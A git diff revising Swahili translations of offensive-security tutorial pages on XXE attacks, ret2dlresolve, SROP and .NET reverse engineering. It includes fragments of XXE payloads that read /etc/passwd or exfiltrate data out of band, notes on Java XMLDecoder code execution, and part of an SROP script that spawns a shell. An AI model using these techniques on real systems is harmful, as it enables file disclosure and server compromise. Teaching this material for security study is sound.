4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
1. Chombo cha XML parameter kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Chombo cha XML parameter kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa chombo kingine cha XML parameter kinachoitwa `error`. Hiki chombo cha `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya chombo cha `file` kama jina lake.
|
||||
3. Chombo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la chombo cha `error`.
|
||||
4. Kuitwa kwa chombo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
|
||||
DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:
|
||||
```xml
|
||||
@ -145,13 +144,13 @@ Upon execution, the web server's response should include an error message displa
|
||||
|
||||
.png>)
|
||||
|
||||
_**Tafadhali notice kwamba DTD ya nje inatuhakikishia kujumuisha kiumbe kimoja ndani ya kingine (\*\***`eval`\***\*), lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
|
||||
_**Tafadhali notice kwamba DTD ya nje inatuhitaji kujumuisha kiumbe kimoja ndani ya cha pili (\*\***`eval`\***\*), lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
|
||||
|
||||
### **Kosa Kulingana na (system DTD)**
|
||||
### **Kosa Kulingana (system DTD)**
|
||||
|
||||
Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
|
||||
|
||||
Kipengele katika mwelekeo wa lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
|
||||
Kipengele katika spesifikesheni ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
|
||||
|
||||
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mchanganyiko kama ifuatavyo:
|
||||
```xml
|
||||
@ -168,11 +167,11 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
|
||||
```
|
||||
Hatua zilizoelezwa zinafanywa na hii DTD:
|
||||
|
||||
- Mwelekeo wa kitu cha XML parameter kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
|
||||
- Ufafanuzi mpya unafanyika kwa kitu cha XML parameter `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, likifunua maudhui ya faili ya `/etc/passwd`.
|
||||
- Kwa kutumia kitu cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
|
||||
- Mwelekeo wa kigezo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
|
||||
- Ufafanuzi mpya unafanyika kwa kigezo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
|
||||
- Kwa kutumia kigezo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
|
||||
|
||||
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` yenye kitu kinachoitwa `ISOamso`
|
||||
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kigezo kinachoitwa `ISOamso`.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -202,9 +201,11 @@ Kwa maelezo zaidi angalia [https://portswigger.net/web-security/xxe/blind](https
|
||||
|
||||
Katika repo nzuri ya github ifuatayo unaweza kupata **njia za DTDs ambazo zinaweza kuwepo katika mfumo**:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathirika**, unaweza kutumia zana ya repo hiyo hiyo ili **kuchunguza** **picha** na **kupata** njia ya **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
|
||||
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathirika**, unaweza kutumia chombo cha repo hiyo hiyo ili **kuchunguza** **picha** na **kupata** njia ya **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -222,11 +223,11 @@ Kwa maelezo ya kina kuhusu shambulio hili, **angalia sehemu ya pili ya** [**hiki
|
||||
|
||||
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML.
|
||||
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
|
||||
|
||||
Mara hati inapofunguliwa, faili ya XML iliyoko `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
|
||||
|
||||
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
|
||||
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya XML vya mzizi. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
|
||||
|
||||
Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
|
||||
|
||||
@ -240,12 +241,12 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ili kuwa na uwezo wa kufikia faili ndani ya faili za PKZIP ni **faida kubwa katika kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Ili kuwa na uwezo wa kufikia faili ndani ya faili za PKZIP ni **faida kubwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:
|
||||
|
||||
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali maalum, kama `https://download.website.com/archive.zip`.
|
||||
2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika mahali kama `/tmp/...`.
|
||||
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka eneo lililotajwa, kama vile `https://download.website.com/archive.zip`.
|
||||
2. Jibu la HTTP lililo na archive linahifadhiwa kwa muda kwenye mfumo, kawaida katika eneo kama `/tmp/...`.
|
||||
3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
|
||||
4. Faili maalum ndani ya archive, `file.zip`, inasomwa.
|
||||
5. Baada ya operesheni, faili zozote za muda zilizoundwa wakati wa mchakato huu zinafuta.
|
||||
@ -256,7 +257,7 @@ Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kuandika faili katika saraka ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kujumuisha faili za ndani, sindano ya kiolezo, XSLT RCE, deserialization, nk).
|
||||
> Kuandika faili katika directory ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha kupita njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, deserialization, nk).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -319,9 +320,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
### SVG - File Upload
|
||||
|
||||
Fail zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Mifumo ya kawaida ya faili kama hati za ofisi (DOCX) na picha (SVG) inategemea XML.
|
||||
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Mifumo ya kawaida ya faili kama hati za ofisi (DOCX) na picha (SVG) inategemea XML.
|
||||
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia mifumo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kukabiliwa na udhaifu wa XXE (XML External Entity).
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa udhaifu wa XXE (XML External Entity).
|
||||
|
||||
Mfano wa exploit kama hiyo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
|
||||
```xml
|
||||
@ -395,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
</root>
|
||||
</root>
|
||||
```
|
||||
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Mfano mwingine unaweza kupatikana [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Ulinzi Bypasses
|
||||
|
||||
@ -491,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hata hiyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na matangazo ya markup:
|
||||
Hata hiyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na matangazo ya alama:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -499,9 +500,9 @@ Hata hiyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Licha ya kosa, hit inarekodiwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na chombo cha nje.
|
||||
Licha ya kosa, hit inarekodiwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kitengo cha nje.
|
||||
|
||||
Out of Band Data Exfiltration Ili kuhamasisha data, ombi lililobadilishwa linatumwa:
|
||||
Out of Band Data Exfiltration Ili kuhamasisha data, ombi lililobadilishwa litumwa:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -522,7 +523,7 @@ Data Exfiltration Iliyotokana na Hitilafu Ili kushinda kikwazo hiki, mbinu ya Hi
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
|
||||
Server inajibu kwa kosa, kwa umuhimu ikionyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -608,9 +609,9 @@ Kutumia kichujio cha PHP base64
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data zisizo na mpangilio katika wito wa njia **readObject**, atapata utekelezaji wa msimbo mara moja kwenye seva.
|
||||
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data zisizo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
|
||||
|
||||
### Using Runtime().exec()
|
||||
### Kutumia Runtime().exec()
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
@ -672,7 +673,9 @@ XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa m
|
||||
```
|
||||
## Tools
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
@ -685,5 +688,4 @@ XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa m
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@ Kama ilivyoelezwa katika ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/
|
||||
|
||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye stack marejeleo ya baadhi ya muundo inahitaji ili kutatua alama iliyotajwa.
|
||||
|
||||
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya kutatua kwa kiungo cha dynamic alama iliyotolewa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
|
||||
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya kutatua kiungo cha dinamikali alama iliyotakiwa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
|
||||
|
||||
Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa ROP wa awali unaoitwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **muundo** na mfuatano **`'/bin/sh'`** hupitishwa ili kuhifadhiwa na kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita **`_dl_runtime_resolve`** na anwani ya `$'/bin/sh'`.
|
||||
|
||||
@ -17,7 +17,9 @@ Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa ROP wa awali unao
|
||||
|
||||
Unaweza kupata maelezo bora kuhusu mbinu hii katika nusu ya pili ya video:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Structures
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** ni **syscall** maalum inayotumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa kutumia **signal handler**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
**`Sigreturn`** ni **syscall** maalum inayotumiwa hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa kutumia **signal handler**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
|
||||
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi kwenye hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na vigezo vya ndani) ambayo ilitumika na mhandisi wa ishara.
|
||||
|
||||
Sehemu ya kuvutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **maadili yote ya register za CPU kwenye stack.** Wakati ishara haitazuiwi tena, **`sigreturn` inatoa maadili haya kutoka kwenye stack**, kwa ufanisi ikirekebisha register za CPU kwenye hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iandike kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iingize kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
|
||||
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi kudhibiti vigezo ili kuita Ret2syscalls nyingine:
|
||||
|
||||
@ -21,7 +21,9 @@ rop-syscall-execv.md
|
||||
|
||||
Kwa maelezo bora angalia pia:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Example
|
||||
|
||||
@ -52,7 +54,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
|
@ -25,9 +25,9 @@ Software:
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek ni decompiler inayoweza **decompile na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **executables** (.exe). Mara decompiled, mkusanyiko unaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
|
||||
dotPeek ni decompiler ambayo **decompiles na inachunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **executables** (.exe). Mara decompiled, assembly inaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
|
||||
|
||||
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurekebishwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek inatoa urahisi wa kuvinjari katika msimbo ulio decompiled, na kuifanya kuwa moja ya zana bora kwa **uchambuzi wa algorithm ya Xamarin.**
|
||||
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurekebishwa kutoka kwa assembly ya zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek inatoa urahisi wa kuvinjari katika msimbo ulio decompiled, na kuifanya kuwa moja ya zana bora kwa **Xamarin algorithm analysis.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
@ -36,14 +36,14 @@ Kwa mfano wa kina wa kuongeza na API inayopanua zana ili kufaa mahitaji yako hal
|
||||
- Inatoa mwanga juu ya jinsi data inavyopita kupitia maktaba au kipengee
|
||||
- Inatoa mwanga juu ya utekelezaji na matumizi ya lugha na mifumo ya .NET
|
||||
- Inapata kazi zisizoandikwa na zisizoonyeshwa ili kupata zaidi kutoka kwa APIs na teknolojia zinazotumika.
|
||||
- Inapata utegemezi na mkusanyiko tofauti
|
||||
- Inafuatilia mahali halisi pa makosa katika msimbo wako, vipengee vya wahusika wengine, na maktaba.
|
||||
- Inapata utegemezi na makusanyo tofauti
|
||||
- Inafuatilia mahali halisi pa makosa katika msimbo wako, vipengele vya watu wengine, na maktaba.
|
||||
- Inarekebisha kwenye chanzo cha msimbo wote wa .NET unayofanya kazi nao.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo katika OS yoyote (unaweza kuisakinisha moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **search ILSpy**).\
|
||||
Ikiwa unahitaji **decompile**, **modify** na **recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linaloendelea kudumishwa la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Modify Method** kubadilisha kitu ndani ya kazi).
|
||||
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo katika OS yoyote (unaweza kuisakinisha moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza kwenye **Extensions** na **search ILSpy**).\
|
||||
Ikiwa unahitaji **decompile**, **modify** na **recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au fork inayoshughulikiwa kwa ufanisi, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Right Click -> Modify Method** kubadilisha kitu ndani ya kazi).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
@ -78,7 +78,7 @@ Kisha hifadhi faili mpya kupitia _**File >> Save module...**_:
|
||||
|
||||
.png>)
|
||||
|
||||
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kubaini **break-point haitagundulika kamwe** au baadhi ya **variables hazipo**.
|
||||
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kubaini **break-point haitagwa kamwe** au baadhi ya **variables hazipo**.
|
||||
|
||||
Kisha, ikiwa programu yako ya .NET inatekelezwa na **IIS** unaweza **kuanzisha upya** kwa:
|
||||
```
|
||||
@ -102,7 +102,7 @@ Bonyeza moduli yoyote kwenye **Modules** na chagua **Open All Modules**:
|
||||
|
||||
.png>)
|
||||
|
||||
Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assemblies**:
|
||||
Bonyeza kulia kwenye moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assemblies**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -113,7 +113,7 @@ Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assem
|
||||
|
||||
## Debugging DLLs
|
||||
|
||||
### Using IDA
|
||||
### Kutumia IDA
|
||||
|
||||
- **Load rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
- Chagua **Windbg** debugger
|
||||
@ -125,14 +125,14 @@ Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assem
|
||||
|
||||
.png>)
|
||||
|
||||
Kisha, unapozindua kufuatilia makosa **utekelezaji utafungwa wakati kila DLL inapopakuliwa**, kisha, wakati rundll32 inapopakua DLL yako utekelezaji utafungwa.
|
||||
Kisha, unapozindua kufuatilia **utekelezaji utafungwa wakati kila DLL inapopakuliwa**, kisha, wakati rundll32 inapopakua DLL yako uteketezaji utafungwa.
|
||||
|
||||
Lakini, unaweza vipi kufikia msimbo wa DLL ambayo ilipakuliwa? Kutumia njia hii, sijui jinsi.
|
||||
|
||||
### Using x64dbg/x32dbg
|
||||
### Kutumia x64dbg/x32dbg
|
||||
|
||||
- **Load rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Change the Command Line** (_File --> Change Command Line_) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- **Change the Command Line** ( _File --> Change Command Line_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- Badilisha _Options --> Settings_ na chagua "**DLL Entry**".
|
||||
- Kisha **anzisha utekelezaji**, debugger itasimama kwenye kila dll main, kwa wakati fulani utakuwa **umesimama kwenye dll Entry ya dll yako**. Kutoka hapo, tafuta maeneo ambapo unataka kuweka breakpoint.
|
||||
|
||||
@ -140,7 +140,7 @@ Kumbuka kwamba wakati utekelezaji umesimamishwa kwa sababu yoyote katika win64db
|
||||
|
||||
.png>)
|
||||
|
||||
Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll unayotaka kufuatilia makosa.
|
||||
Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll unayotaka kufuatilia.
|
||||
|
||||
## GUI Apps / Videogames
|
||||
|
||||
